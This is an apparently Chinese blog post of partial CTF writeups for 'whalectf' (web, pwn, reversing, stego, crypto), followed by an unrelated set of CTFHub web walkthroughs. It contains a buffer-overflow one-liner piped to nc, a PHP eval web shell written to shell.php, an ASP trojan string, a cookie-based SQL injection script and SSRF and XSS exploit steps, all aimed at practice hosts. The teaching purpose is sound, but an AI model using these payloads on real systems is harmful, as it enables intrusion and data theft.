whalectf 部分writeup

本文解析了多项CTF挑战,包括Web安全、密码学、逆向工程及隐写术等内容,展示了如何利用各种技术和工具解决复杂的安全问题。

Web

Find me 右键查看源码flag:{This_is_s0_simpl3}

密码泄露
http://39.107.92.230/web/web5/password.txt发现密码字典
爆破发现长度不一样的密码:Nsf0cuS
源码中截断了5位,修改请求包,将密码改为Nsf0cuS,返回这里没有flag字样
发现cookies:newpage=MjkwYmNhNzBjN2RhZTkzZGI2NjQ0ZmEwMGI5ZdgzYjkucGhw
Base64解290bca70c7dae93db6644fa00b9d83b9.php
进入为留言板,然后这里写图片描述

本地登录 抓包 添加X-Forwarded-For: 127.0.0.1,isadmin改为1
flag:{Why_ar3_y0u_s0_dia0}

http这里写图片描述

Pwn1
脚本:cat <(python -c “print ‘\x11’*40+’\x34\x12\xcd\xab’”) - | nc bamboofox.cs.nctu.edu.tw 22001
这里写图片描述
参考:http://www.secist.com/archives/3619.html
https://blog.youkuaiyun.com/CJ_Kano/article/details/42404985
这里写图片描述

R100
Python脚本
这里写图片描述
Password为Code_Talkers,但是提交不对、

Re 逆向练习
OD调试KEY{e2s6ry3r5s8f6 共17位,
单步调试
再打开IDA发现后几位未1024}
Flag为KEY{e2s6ry3r5s8f61024}

后面的比较简单,没上传图,觉得麻烦,需要就看下,不需要就算了,还有很多难点的没做出来———有空继续
Re
1. PE格式
PETool打开
块数目 0x0004
时间戳 0x591D5CCC
入口地址 0x0005B789
便是 0x0103
组合下
BJWXB_CTF{0004h-591D5CCCh-0005B789h-0103h}
2.Re warmup100 简单的异或

调试后发现是异或

算出BJWXB_CTF{W4rm_UP_warm_up_WARM_UP!}

  1. Re100 app-release 拖入jeb 发现是byte异或
    print(enc(“PXEJPMQFTiS|v\"#vMDwKMA3_b~w3o”, 18))
    计算BJWXB_CTF{Andr01d_VerY_S!Mple!}

Android1:

Jeb打开发现,byte[]=aHR0cDovLzQ1LjMyLjQ3Ljk4
,base64解码得http://45.32.47.98,,flag为ip

Android05
enc(jeb打开一串字符串,15) #异或

android09

找到该方法,gevalue()反回值是20000,符合要求,所以只需修改判断处得标识,使执行,修改11,flag{11}

杂项
流量分析100

Tcp流追踪下载原始数据
得到 ,winhex打开doc发现key
key{23ac600a11eaffc8}
decode 3
JavaScript 代码转换,直接将其在控制台执行得flag=itisjavascriptenjoy%21
其中%21=!

Decode8
flag{Just_4_fun_0.0}
https://www.cnblogs.com/zqh20145320/p/5710072.html
ascii表得整体凯撒移动

Decode9
Flag{? enusCtf }
参见https://blog.youkuaiyun.com/lanvnal/article/details/54635612
控制台运行得到:┼攠數畣整爠煥敵瑳∨?湥獵瑃≦┩
把上面这串复制到记事本,另存为,编码选上“Unicode”,关闭。用WinHex等可以查看16进制的软件,直接打开,一目了然。如果想显示正常,把开头的FF FE两个字节删了,再用记事本打开就看到了。木马为 <% execute request(“? enusCtf”)%

隐写
Find 50
拖入stegSolve,发现二维码层,扫描即可得

被我吃了50
Binwalk一看,修改后缀为.zip,解压即可得flag.txt

 合体鲸鱼
Frame browser

亚种50
Winhex直接打开flag{firsttry}

下雨天50 上工具StegSolve,好几个都是直接这工具就出来了、、、

愤怒得小猪100
扫码

真是动态图100
修改头格式,将9a改为GIF89a,打开是动态图,stegsolve分层看是base64编码,
组合为
Y2F0Y2hfdGh1X2R5bmFtaWNfZmxhZ19pc19xdW10ZV9zaW1wbGU=
解压catch_thu_dynamic_flag_is_qumte_simple,提交不对
改下key{catch_the_dynamic_flag_is_quite_simple},Ok!

密码学
德军密码(二进制密码)
KEY{YAHKR} 小写输入不对,不知道为啥

密钥生成
上脚本
d= 125631357777427553
rsa破解
通过公钥解密
openssl rsa -pubin -text -modulus -in warmup -in public.pem
得到n= 0xA41006DEFD378B7395B4E2EB1EC9BF56A61CD9C3B5A0A73528521EEB2FB817A7、
E= 65537 (0x10001)

09-26
以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST[&#39;cmd&#39;]);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = &#39;http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/&#39; header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema=&#39;sqli&#39;")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema=&#39;sqli&#39; and table_name=&#39;srdnlrlphq&#39;")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值